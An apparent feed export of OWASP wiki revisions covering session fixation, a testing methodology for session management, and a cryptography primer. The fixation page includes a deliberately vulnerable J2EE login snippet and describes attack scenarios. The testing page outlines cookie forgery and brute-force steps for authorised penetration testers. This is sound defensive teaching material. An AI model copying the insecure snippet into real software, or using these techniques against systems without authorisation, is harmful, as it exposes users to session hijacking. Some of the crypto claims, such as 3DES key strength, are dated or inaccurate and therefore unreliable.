* Consider the likely [business impacts] of a successful attack&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The following example shows a snippet of code from a J2EE web application where the application authenticates users with LoginContext.login() without first calling HttpSession.invalidate().&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	private void auth(LoginContext lc, HttpSession session) throws LoginException {&lt;br /&gt;
		...&lt;br /&gt;
		lc.login();&lt;br /&gt;
		...&lt;br /&gt;
	} &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In order to exploit the code above, an attacker could first create a session (perhaps by logging into the application) from a public terminal, record the session identifier assigned by the application, and reset the browser to the login page. Next, a victim sits down at the same public terminal, notices the browser open to the login page of the site, and enters credentials to authenticate against the application. The code responsible for authenticating the victim continues to use the pre-existing session identifier, now the attacker simply uses the session identifier recorded earlier to access the victim's active session, providing nearly unrestricted access to the victim's account for the lifetime of the session.&lt;br /&gt;
&lt;br /&gt;
Even given a vulnerable application, the success of the specific attack described here is dependent on several factors working in the favor of the attacker: access to an unmonitored public terminal, the ability to keep the compromised session active and a victim interested in logging into the vulnerable application on the public terminal. In most circumstances, the first two challenges are surmountable given a sufficient investment of time. Finding a victim who is both using a public terminal and interested in logging into the vulnerable application is possible as well, so long as the site is reasonably popular. The less well known the site is, the lower the odds of an interested victim using the public terminal and the lower the chance of success for the attack vector described above.&lt;br /&gt;
&lt;br /&gt;
The biggest challenge an attacker faces in exploiting session fixation vulnerabilities is inducing victims to authenticate against the vulnerable application using a session identifier known to the attacker. In the example above, the attacker did this through a direct method that is not subtle and does not scale suitably for attacks involving less well-known web sites. However, do not be lulled into complacency; attackers have many tools in their belts that help bypass the limitations of this attack vector. The most common technique employed by attackers involves taking advantage of cross-site scripting or HTTP response splitting vulnerabilities in the target site [1]. By tricking the victim into submitting a malicious request to a vulnerable application that reflects JavaScript or other code back to the victim's browser, an attacker can create a cookie that will cause the victim to reuse a session identifier controlled by the attacker.&lt;br /&gt;
&lt;br /&gt;
It is worth noting that cookies are often tied to the top level domain associated with a given URL. If multiple applications reside on the same top level domain, such as bank.example.com and recipes.example.com, a vulnerability in one application can allow an attacker to set a cookie with a fixed session identifier that will be used in all interactions with any application on the domain example.com [2].&lt;br /&gt;
&lt;br /&gt;
Other attack vectors include DNS poisoning and related network based attacks where an attacker causes the user to visit a malicious site by redirecting a request for a valid site. Network based attacks typically involve a physical presence on the victim's network or control of a compromised machine on the network, which makes them harder to exploit remotely, but their significance should not be overlooked. Less secure session management mechanisms, such as the default implementation in Apache Tomcat, allow session identifiers normally expected in a cookie to be specified on the URL as well, which enables an attacker to cause a victim to use a fixed session identifier simply by emailing a malicious URL.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Session Hijacking]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Vulnerability 1]]&lt;br /&gt;
* [[Vulnerabiltiy 2]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[Session Fixation Protection]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
[1] Fortify Descriptions. http://vulncat.fortifysoftware.com.&lt;br /&gt;
&lt;br /&gt;
[2] D. Whalen. The Unofficial Cookie FAQ. http://www.cookiecentral.com/faq/#3.3.&lt;br /&gt;
&lt;br /&gt;
[3] ACROS Security. http://www.acrossecurity.com/papers/session_fixation.pdf.&lt;br /&gt;
&lt;br /&gt;
* Session fixation, http://en.wikipedia.org/wiki/Session_fixation&lt;br /&gt;
&lt;br /&gt;
* Paper: &amp;quot;The Phishing Guide&amp;quot; - Part 1 - 2.3.4. Preset Session Attack, and Part 2 - Session Handling, http://www.technicalinfo.net/papers/Phishing.html&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Session Management Vulnerability]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Session_Management_Schema_(OTG-SESS-001)&amp;diff=127817</id>
		<title>Testing for Session Management Schema (OTG-SESS-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Session_Management_Schema_(OTG-SESS-001)&amp;diff=127817"/>
				<updated>2012-04-13T13:51:54Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In order to avoid continuous authentication for each page of a website or service, web applications implement various mechanisms to store and validate credentials for a pre-determined timespan.&amp;lt;br&amp;gt;&lt;br /&gt;
These mechanisms are known as Session Management and, while they're most important in order to increase the ease of use and user-friendliness of the application, they can be exploited by a penetration tester to gain access to a user account, without the need to provide correct credentials. In this test, we want to check that cookies and other session tokens are created in a secure and unpredictable way. An attacker who is able to predict and forge a weak cookie can easily hijack the sessions of legitimate users.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===Description of Session Management Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the OWASP articles on [[:Category:Session Management Vulnerability|Session Management Vulnerabilities]].&lt;br /&gt;
&lt;br /&gt;
===Description of Session Management Countermeasures===&lt;br /&gt;
&lt;br /&gt;
See the OWASP articles on [[:Category:Session Management|Session Management Countermeasures]].&lt;br /&gt;
&lt;br /&gt;
===How to Avoid Session Management Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Session Management|Avoid Session Management]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for Session Management| Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Codereview-Session-Management|Review Code for Session Management]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
==Description of the Issue==&lt;br /&gt;
&lt;br /&gt;
Cookies are used to implement session management and are described in detail in RFC 2965. In a nutshell, when a user accesses an application which needs to keep track of the actions and identity of that user across multiple requests, a cookie (or more than one) is generated by the server and sent to the client. The client will then send the cookie back to the server in all following connections until the cookie expires or is destroyed.  The data stored in the cookie can provide to the server a large spectrum of information about who the user is, what actions he has performed so far, what his preferences are,  etc. therefore providing a state to a stateless protocol like HTTP.&lt;br /&gt;
&lt;br /&gt;
A typical example is provided by an online shopping cart. Throughout the session of a user, the application must keep track of his identity, his profile, the products that he has chosen to buy, the quantity, the individual prices, the discounts, etc. Cookies are an efficient way to store and pass this information back and forth (other methods are URL parameters and hidden fields).&lt;br /&gt;
&lt;br /&gt;
Due to the importance of the data that they store, cookies are therefore vital in the overall security of the application. Being able to tamper with cookies may result in hijacking the sessions of legitimate users, gaining higher privileges in an active session, and in general influencing the operations of the application in an unauthorized way. In this test we have to check whether the cookies issued to clients can resist a wide range of attacks aimed to interfere with the sessions of legitimate users and with the application itself. The overall goal is to be able to forge a cookie that will be considered valid by the application and that will provide some kind of unauthorized access (session hijacking, privilege escalation, ...). Usually the main steps of the attack pattern are the following:&lt;br /&gt;
* '''cookie collection''': collection of a sufficient number of cookie samples;&lt;br /&gt;
* '''cookie reverse engineering''': analysis of the cookie generation algorithm;&lt;br /&gt;
* '''cookie manipulation''': forging of a valid cookie in order to perform the attack. This last step might require a large number of attempts, depending on how the cookie is created (cookie brute-force attack).&lt;br /&gt;
&lt;br /&gt;
Another pattern of attack consists of overflowing a cookie. Strictly speaking, this attack has a different nature, since here we are not trying to recreate a perfectly valid cookie. Instead, our goal is to overflow a memory area, thereby interfering with the correct behavior of the application and possibly injecting (and remotely executing) malicious code.&lt;br /&gt;
&lt;br /&gt;
==Black Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
All interaction between the client and application should be tested at least against the following criteria:&lt;br /&gt;
* Are all Set-Cookie directives tagged as Secure?	&lt;br /&gt;
* Do any Cookie operations take place over unencrypted transport?	&lt;br /&gt;
* Can the Cookie be forced over unencrypted transport?  	&lt;br /&gt;
* If so, how does the application maintain security?	&lt;br /&gt;
* Are any Cookies persistent?	&lt;br /&gt;
* What Expires= times are used on persistent cookies, and are they reasonable?	&lt;br /&gt;
* Are cookies that are expected to be transient configured as such?	&lt;br /&gt;
* What HTTP/1.1 Cache-Control settings are used to protect Cookies?	&lt;br /&gt;
* What HTTP/1.0 Cache-Control settings are used to protect Cookies?&lt;br /&gt;
&lt;br /&gt;
===Cookie collection===&lt;br /&gt;
&lt;br /&gt;
The first step required in order to manipulate the cookie is obviously to understand how the application creates and manages cookies. For this task, we have to try to answer the following questions:&lt;br /&gt;
&lt;br /&gt;
* How many cookies are used by the application?&lt;br /&gt;
Surf the application. Note when cookies are created. Make a list of received cookies, the page that sets them (with the set-cookie directive), the domain for which they are valid, their value, and their characteristics.&lt;br /&gt;
* Which parts of the the application generate and/or modify the cookie?&lt;br /&gt;
Surfing the application, find which cookies remain constant and which get modified. What events modify the cookie?&lt;br /&gt;
* Which parts of the application require this cookie in order to be accessed and utilized?&lt;br /&gt;
Find out which parts of the application need a cookie. Access a page, then try again without the cookie, or with a modified value of it. Try to map which cookies are used where.&lt;br /&gt;
&lt;br /&gt;
A spreadsheet mapping each cookie to the corresponding application parts and the related information can be a valuable output of this phase.&lt;br /&gt;
&lt;br /&gt;
===Session Analysis===&lt;br /&gt;
&lt;br /&gt;
The session tokens (Cookie, SessionID or Hidden Field) themselves should be examined to ensure their quality from a security perspective.  They should be tested against criteria such as their randomness, uniqueness, resistance to statistical and cryptographic analysis and information leakage.&amp;lt;br&amp;gt;&lt;br /&gt;
* Token Structure &amp;amp; Information Leakage&lt;br /&gt;
The first stage is to examine the structure and content of a Session ID provided by the application.  A common mistake is to include specific data in the Token instead of issuing a generic value and referencing real data at the server side.&lt;br /&gt;
If the Session ID is clear-text, the structure and pertinent data may be immediately obvious as the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
192.168.100.1:owaspuser:password:15:58&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If part or the entire token appears to be encoded or hashed, it should be compared to various techniques to check for obvious obfuscation.&lt;br /&gt;
For example the string “192.168.100.1:owaspuser:password:15:58” is represented in Hex, Base64 and as an MD5 hash:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Hex	3139322E3136382E3130302E313A6F77617370757365723A70617373776F72643A31353A3538&lt;br /&gt;
Base64	MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6cGFzc3dvcmQ6MTU6NTg=&lt;br /&gt;
MD5	01c2fc4f0a817afd8366689bd29dd40a&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Having identified the type of obfuscation, it may be possible to decode back to the original data.  In most cases, however, this is unlikely.  Even so, it may be useful to enumerate the encoding in place from the format of the message.  Furthermore, if both the format and obfuscation technique can be deduced, automated brute-force attacks could be devised.&lt;br /&gt;
Hybrid tokens may include information such as IP address or User ID together with an encoded portion, as the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
owaspuser:192.168.100.1: a7656fafe94dae72b1e1487670148412&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Having analyzed a single session token, the representative sample should be examined.&lt;br /&gt;
A simple analysis of the tokens should immediately reveal any obvious patterns.  For example, a 32 bit token may include 16 bits of static data and 16 bits of variable data.  This may indicate that the first 16 bits represent a fixed attribute of the user – e.g. the username or IP address.&lt;br /&gt;
If the second 16 bit chunk is incrementing at a regular rate, it may indicate a sequential or even time-based element to the token generation.  See examples.&lt;br /&gt;
If static elements to the Tokens are identified, further samples should be gathered, varying one potential input element at a time.  For example, login attempts through a different user account or from a different IP address may yield a variance in the previously static portion of the session token.&lt;br /&gt;
The following areas should be addressed during the single and multiple Session ID structure testing:&lt;br /&gt;
* What parts of the Session ID are static?	&lt;br /&gt;
* What clear-text confidential information is stored in the Session ID? E.g. usernames/UID, IP addresses	&lt;br /&gt;
* What easily decoded confidential information is stored?	&lt;br /&gt;
* What information can be deduced from the structure of the Session ID?	&lt;br /&gt;
* What portions of the Session ID are static for the same login conditions?	&lt;br /&gt;
* What obvious patterns are present in the Session ID as a whole, or individual portions?&lt;br /&gt;
&lt;br /&gt;
===Session ID Predictability and Randomness===&lt;br /&gt;
&lt;br /&gt;
Analysis of the variable areas (if any) of the Session ID should be undertaken to establish the existence of any recognizable or predictable patterns.&lt;br /&gt;
These analyses may be performed manually and with bespoke or OTS statistical or cryptanalytic tools in order to deduce any patterns in the Session ID content.&lt;br /&gt;
Manual checks should include comparisons of Session IDs issued for the same login conditions – e.g., the same username, password, and IP address.  Time is an important factor which must also be controlled.  High numbers of simultaneous connections should be made in order to gather samples in the same time window and keep that variable constant.  Even a quantization of 50ms or less may be too coarse and a sample taken in this way may reveal time-based components that would otherwise be missed.&lt;br /&gt;
Variable elements should be analyzed over time to determine whether they are incremental in nature.  Where they are incremental, patterns relating to absolute or elapsed time should be investigated.  Many systems use time as a seed for their pseudo-random elements.&lt;br /&gt;
Where the patterns are seemingly random, one-way hashes of time or other environmental variations should be considered as a possibility.  Typically, the result of a cryptographic hash is a decimal or hexadecimal number so should be identifiable.&lt;br /&gt;
In analyzing Session ID sequences, patterns or cycles, static elements and client dependencies should all be considered as possible contributing elements to the structure and function of the application.&lt;br /&gt;
* Are the Session IDs provably random in nature?  I.e., can the resulting values be reproduced?  &lt;br /&gt;
* Do the same input conditions produce the same ID on a subsequent run?	&lt;br /&gt;
* Are the Session IDs provably resistant to statistical or cryptanalysis?	&lt;br /&gt;
* What elements of the Session IDs are time-linked?	&lt;br /&gt;
* What portions of the Session IDs are predictable?  	&lt;br /&gt;
* Can the next ID be deduced, given full knowledge of the generation algorithm and previous IDs?&lt;br /&gt;
&lt;br /&gt;
===Cookie reverse engineering===&lt;br /&gt;
&lt;br /&gt;
Now that we have enumerated the cookies and have a general idea of their use, it is time to have a deeper look at cookies that seem interesting. Which cookies are we interested in? A cookie, in order to provide a secure method of session management, must combine several characteristics, each of which is aimed at protecting the cookie from a different class of attacks. These characteristics are summarized below:&lt;br /&gt;
#Unpredictability: a cookie must contain some amount of hard-to-guess data. The harder it is to forge a valid cookie, the harder is to break into legitimate user's session. If an attacker can guess the cookie used in an active session of a legitimate user, he/she will be able to fully impersonate that user (session hijacking). In order to make a cookie unpredictable, random values and/or cryptography can be used.&lt;br /&gt;
#Tamper resistance: a cookie must resist malicious attempts of modification. If we receive a cookie like  IsAdmin=No, it is trivial to modify it to get administrative rights, unless the application performs a double check (for instance, appending to the cookie an encrypted hash of its value)&lt;br /&gt;
#Expiration: a critical cookie must be valid only for an appropriate period of time and must be deleted from disk/memory afterwards, in order to avoid the risk of being replayed. This does not apply to cookies that store non-critical data that needs to be remembered across sessions (e.g., site look-and-feel)&lt;br /&gt;
#“Secure” flag: a cookie whose value is critical for the integrity of the session should have this flag enabled in order to allow its transmission only in an encrypted channel to deter eavesdropping.&lt;br /&gt;
&lt;br /&gt;
The approach here is to collect a sufficient number of instances of a cookie and start looking for patterns in their value. The exact meaning of “sufficient” can vary from a handful of samples, if the cookie generation method is very easy to break, to several thousands, if we need to proceed with some mathematical analysis (e.g., chi-squares, attractors. See later for more information).&lt;br /&gt;
&lt;br /&gt;
It is important to pay particular attention to the workflow of the application, as the state of a session can have a heavy impact on collected cookies: a cookie collected before being authenticated can be very different from a cookie obtained after the authentication.&lt;br /&gt;
&lt;br /&gt;
Another aspect to keep into consideration is time: always record the exact time when a cookie has been obtained, when there is the possibility that time plays a role in the value of the cookie (the server could use a timestamp as part of the cookie value). The time recorded could be the local time or the server's timestamp included in the HTTP response (or both).&lt;br /&gt;
&lt;br /&gt;
Analyzing the collected values, try to figure out all variables that could have influenced the cookie value and try to vary them one at the time. Passing to the server modified versions of the same cookie can be very helpful in understanding how the application reads and processes the cookie.&lt;br /&gt;
&lt;br /&gt;
Examples of checks to be performed at this stage include:&lt;br /&gt;
* What character set is used in the cookie? Has the cookie a numeric value? alphanumeric? hexadecimal? What happens if we insert in a cookie characters that do not belong to the expected charset?&lt;br /&gt;
* Is the cookie composed of different sub-parts carrying different pieces of information? How are the different parts separated? With which delimiters? Some parts of the cookie could have a higher variance, others might be constant, others could assume only a limited set of values. Breaking down the cookie to its base components is the first and fundamental step. An example of an easy-to-spot structured cookie is the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=1120514521:S=j3am5KzC4v01ba3q&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this example we see 5 different fields, carrying different types of data:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ID – hexadecimal&lt;br /&gt;
CR – small integer&lt;br /&gt;
TM and LM – large integer. (And curiously they hold the same value. Worth to see what happens modifying one of them)&lt;br /&gt;
S – alphanumeric&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Even when no delimiters are used, having enough samples can help. As an example, let's look at the following series:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0123456789abcdef&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Brute Force Attacks===&lt;br /&gt;
Brute force attacks inevitably lead on from questions relating to predictability and randomness.&lt;br /&gt;
The variance within the Session IDs must be considered together with application session durations and timeouts.  If the variation within the Session IDs is relatively small, and Session ID validity is long, the likelihood of a successful brute-force attack is much higher.&lt;br /&gt;
A long Session ID (or rather one with a great deal of variance) and a shorter validity period would make it far harder to succeed in a brute force attack.&lt;br /&gt;
* How long would a brute-force attack on all possible Session IDs take?	&lt;br /&gt;
* Is the Session ID space large enough to prevent brute forcing? For example, is the length of the key sufficient when compared to the valid life-span?&lt;br /&gt;
* Do delays between connection attempts with different Session IDs mitigate the risk of this attack?&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
If you have access to the session management schema implementation, you can check for the following:&lt;br /&gt;
* Random Session Token&lt;br /&gt;
The Session ID or Cookie issued to the client should not be easily predictable (don't use linear algorithms based on predictable variables such as the  client IP address). The use of cryptographic algorithms with key length of 256 bits is encouraged (like AES).&lt;br /&gt;
* Token length&lt;br /&gt;
Session ID will be at least 50 characters length.&lt;br /&gt;
* Session Time-out&lt;br /&gt;
Session token should have a defined time-out (it depends on the criticality of the application managed data)&lt;br /&gt;
* Cookie configuration:&lt;br /&gt;
** non-persistent: only RAM memory&lt;br /&gt;
** secure (set only on HTTPS channel):  Set Cookie: cookie=data; path=/; domain=.aaa.it; secure&lt;br /&gt;
** [[HTTPOnly]] (not readable by a script):  Set Cookie: cookie=data; path=/; domain=.aaa.it; [[HTTPOnly]]&lt;br /&gt;
More information here: [[Testing_for_cookies_attributes  (OWASP-SM-002)|Testing for cookies attributes]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RFC 2965 “HTTP State Management Mechanism”&lt;br /&gt;
* RFC 1750 “Randomness Recommendations for Security”&lt;br /&gt;
* Michal Zalewski: &amp;quot;Strange Attractors and TCP/IP Sequence Number Analysis&amp;quot; (2001): http://lcamtuf.coredump.cx/oldtcp/tcpseq.html&lt;br /&gt;
* Michal Zalewski: &amp;quot;Strange Attractors and TCP/IP Sequence Number Analysis - One Year Later&amp;quot; (2002): http://lcamtuf.coredump.cx/newtcp/&lt;br /&gt;
* Correlation Coefficient: http://mathworld.wolfram.com/CorrelationCoefficient.html&lt;br /&gt;
* Darrin Barrall: &amp;quot;Automated Cookie Analysis&amp;quot; –  http://www.spidynamics.com/assets/documents/SPIcookies.pdf&lt;br /&gt;
* ENT: http://fourmilab.ch/random/&lt;br /&gt;
* http://seclists.org/lists/fulldisclosure/2005/Jun/0188.html&lt;br /&gt;
* Gunter Ollmann: &amp;quot;Web Based Session Management&amp;quot; - http://www.technicalinfo.net&lt;br /&gt;
* Matteo Meucci:&amp;quot;MMS Spoofing&amp;quot; - http://www.owasp.org/images/7/72/MMS_Spoofing.ppt &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [[:Category:OWASP WebScarab Project|OWASP's WebScarab]] features a session token analysis mechanism. You can read [[How to test session identifier strength with WebScarab]].&lt;br /&gt;
* Burp Sequencer - http://www.portswigger.net/suite/sequencer.html&lt;br /&gt;
* Foundstone CookieDigger - http://www.foundstone.com/resources/proddesc/cookiedigger.htm&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Videos'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Session ID Analysis with WebScarab - http://yehg.net/lab/pr0js/training/view/owasp/webgoat/WebGoat_SessionMan_AnalyzingSessions/&lt;br /&gt;
* Session Hijacking in Webgoat Lesson - http://yehg.net/lab/pr0js/training/view/owasp/webgoat/WebGoat_SessionMan_SessionHijackingWithJHijack/&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Guide_to_Cryptography&amp;diff=125060</id>
		<title>Guide to Cryptography</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Guide_to_Cryptography&amp;diff=125060"/>
				<updated>2012-02-26T02:22:24Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__&lt;br /&gt;
&lt;br /&gt;
==Objective ==&lt;br /&gt;
&lt;br /&gt;
To ensure that cryptography is safely used to protect the confidentiality and integrity of sensitive user data.&lt;br /&gt;
&lt;br /&gt;
==Platforms Affected ==&lt;br /&gt;
&lt;br /&gt;
All.&lt;br /&gt;
&lt;br /&gt;
==Relevant COBIT Topics ==&lt;br /&gt;
&lt;br /&gt;
DS5.18 – Cryptographic key management&lt;br /&gt;
&lt;br /&gt;
==Description ==&lt;br /&gt;
&lt;br /&gt;
Initially confined to the realms of academia and the military, cryptography has become ubiquitous thanks to the Internet. Common every day uses of cryptography include mobile phones, passwords, SSL, smart cards, and DVDs. Cryptography has permeated everyday life, and is heavily used by many web applications.&lt;br /&gt;
&lt;br /&gt;
Cryptography (or crypto) is one of the more advanced topics of information security, and one whose understanding requires the most schooling and experience. It is difficult to get right because there are many approaches to encryption, each with advantages and disadvantages that need to be thoroughly understood by web solution architects and developers.  In addition, serious cryptography research is typically based in advanced mathematics and number theory, providing a serious barrier to entry. &lt;br /&gt;
&lt;br /&gt;
The proper and accurate implementation of cryptography is extremely critical to its efficacy. A small mistake in configuration or coding will result in removing a large degree of the protection it affords and rending the crypto implementation useless against serious attacks.&lt;br /&gt;
&lt;br /&gt;
A good understanding of crypto is required to be able to discern between solid products and snake oil. The inherent complexity of crypto makes it easy to fall for fantastic claims from vendors about their product. Typically, these are “a breakthrough in cryptography” or “unbreakable” or provide &amp;quot;military grade&amp;quot; security. If a vendor says &amp;quot;trust us, we have had experts look at this,” chances are they weren't experts!&lt;br /&gt;
&lt;br /&gt;
==Cryptographic Functions ==&lt;br /&gt;
&lt;br /&gt;
Cryptographic systems can provide one or more of the following four services. It is important to distinguish between these, as some algorithms are more suited to particular tasks, but not to others.&lt;br /&gt;
&lt;br /&gt;
When analyzing your requirements and risks, you need to decide which of these four functions should be used to protect your data.&lt;br /&gt;
&lt;br /&gt;
===Authentication ===&lt;br /&gt;
&lt;br /&gt;
Using a cryptographic system, we can establish the identity of a remote user (or system). A typical example is the SSL certificate of a web server providing proof to the user that he or she is connected to the correct server.&lt;br /&gt;
&lt;br /&gt;
The identity is not of the user, but of the cryptographic key of the user. Having a less secure key lowers the trust we can place on the identity.&lt;br /&gt;
&lt;br /&gt;
===Non-Repudiation ===&lt;br /&gt;
&lt;br /&gt;
The concept of non-repudiation is particularly important for financial or e-commerce applications. Often, cryptographic tools are required to prove that a unique user has made a transaction request. It must not be possible for the user to refute his or her actions.&lt;br /&gt;
&lt;br /&gt;
For example, a customer may request a transfer of money from her account to be paid to another account. Later, she claims never to have made the request and demands the money be refunded to the account. If we have non-repudiation through cryptography, we can prove – usually through digitally signing the transaction request, that the user authorized the transaction.&lt;br /&gt;
&lt;br /&gt;
===Confidentiality ===&lt;br /&gt;
&lt;br /&gt;
More commonly, the biggest concern will be to keep information private. Cryptographic systems were originally developed to function in this capacity. Whether it be passwords sent during a log on process, or storing confidential medical records in a database, encryption can assure that only users who have access to the appropriate key will get access to the data.&lt;br /&gt;
&lt;br /&gt;
===Integrity ===&lt;br /&gt;
&lt;br /&gt;
We can use cryptography to provide a means to ensure data is not viewed or altered during storage or transmission. Cryptographic hashes for example, can safeguard data by providing a secure checksum.&lt;br /&gt;
&lt;br /&gt;
==Cryptographic Algorithms ==&lt;br /&gt;
&lt;br /&gt;
Various types of cryptographic systems exist that have different strengths and weaknesses. Typically, they are divided into two classes; those that are strong, but slow to run and those that are quick, but less secure. Most often a combination of the two approaches is used (e.g.: SSL), whereby we establish the connection with a secure algorithm, and then if successful, encrypt the actual transmission with the weaker, but much faster algorithm.&lt;br /&gt;
&lt;br /&gt;
===Symmetric Cryptography ===&lt;br /&gt;
&lt;br /&gt;
Symmetric Cryptography is the most traditional form of cryptography.  In a symmetric cryptosystem, the involved parties share a common secret (password, pass phrase, or key). Data is encrypted and decrypted using the same key. These algorithms tend to be comparatively fast, but they cannot be used unless the involved parties have already exchanged keys.  Any party possessing a specific key can create encrypted messages using that key as well as decrypt any messages encrypted with the key.  In systems involving a number of users who each need to set up independent, secure communication channels symmetric cryptosystems can have practical limitations due to the requirement to securely distribute and manage large numbers of keys.&lt;br /&gt;
&lt;br /&gt;
Common examples of symmetric algorithms are DES, 3DES and AES. The 56-bit keys used in DES are short enough to be easily brute-forced by modern hardware and DES should no longer be used.  Triple DES (or 3DES) uses the same  algorithm, applied three times with different keys giving it an effective key length of 128 bits.  Due to the problems using the DES alrgorithm, the United States National Institute of Standards and Technology (NIST) hosted a selection process for a new algorithm.  The winning algorithm was Rijndael and the associated cryptosystem is now known as the Advanced Encryption Standard or AES.  For most applications 3DES is acceptably secure at the current time, but for most new applications it is advisable to use AES.&lt;br /&gt;
&lt;br /&gt;
===Asymmetric Cryptography (also called Public/Private Key Cryptography) ===&lt;br /&gt;
&lt;br /&gt;
Asymmetric algorithms use two keys, one to encrypt the data, and either key to decrypt. These inter-dependent keys are generated together. One is labeled the Public key and is distributed freely. The other is labeled the Private Key and must be kept hidden.&lt;br /&gt;
&lt;br /&gt;
Often referred to as Public/Private Key Cryptography, these cryptosystems can provide a number of different functions depending on how they are used. &lt;br /&gt;
&lt;br /&gt;
The most common usage of asymmetric cryptography is to send messages with a guarantee of confidentiality.  If User A wanted to send a message to User B, User A would get access to User B’s publicly-available Public Key.  The message is then encrypted with this key and sent to User B.  Because of the cryptosystem’s property that messages encoded with the Public Key of User B can only be decrypted with User B’s Private Key, only User B can read the message.&lt;br /&gt;
&lt;br /&gt;
Another usage scenario is one where User A wants to send User B a message and wants User B to have a guarantee that the message was sent by User A.  In order to accomplish this, User A would encrypt the message with their Private Key.  The message can then only be decrypted using User A’s Public Key.  This guarantees that User A created the message Because they are then only entity who had access to the Private Key required to create a message that can be decrcrypted by User A’s Public Key.  This is essentially a digital signature guaranteeing that the message was created by User A.&lt;br /&gt;
&lt;br /&gt;
A Certificate Authority (CA), whose public certificates are installed with browsers or otherwise commonly available, may also digitally sign public keys or certificates. We can authenticate remote systems or users via a mutual trust of an issuing CA. We trust their ‘root’ certificates, which in turn authenticate the public certificate presented by the server.[[Category:FIXME|seems like there should be a noun after &amp;quot;avialable&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
PGP and SSL are prime examples of a systems implementing asymmetric cryptography, using RSA or other algorithms.&lt;br /&gt;
&lt;br /&gt;
===Hashes ===&lt;br /&gt;
&lt;br /&gt;
Hash functions take some data of an arbitrary length (and possibly a key or password) and generate a fixed-length hash based on this input. Hash functions used in cryptography have the property that it is easy to calculate the hash, but difficult or impossible to re-generate the original input if only the hash value is known.  In addition, hash functions useful for cryptography  have the property that it is difficult to craft an initial input such that the hash will match a specific desired value.&lt;br /&gt;
&lt;br /&gt;
MD5 and SHA-1 are common hashing algorithms used today. These algorithms are considered weak (see below) and are likely to be replaced after a process similar to the AES selection. New applications should consider using SHA-256 instead of these weaker algorithms.&lt;br /&gt;
&lt;br /&gt;
===Key Exchange Algorithms ===&lt;br /&gt;
&lt;br /&gt;
Lastly, we have key exchange algorithms (such as Diffie-Hellman for SSL). These allow use to safely exchange encryption keys with an unknown party. &lt;br /&gt;
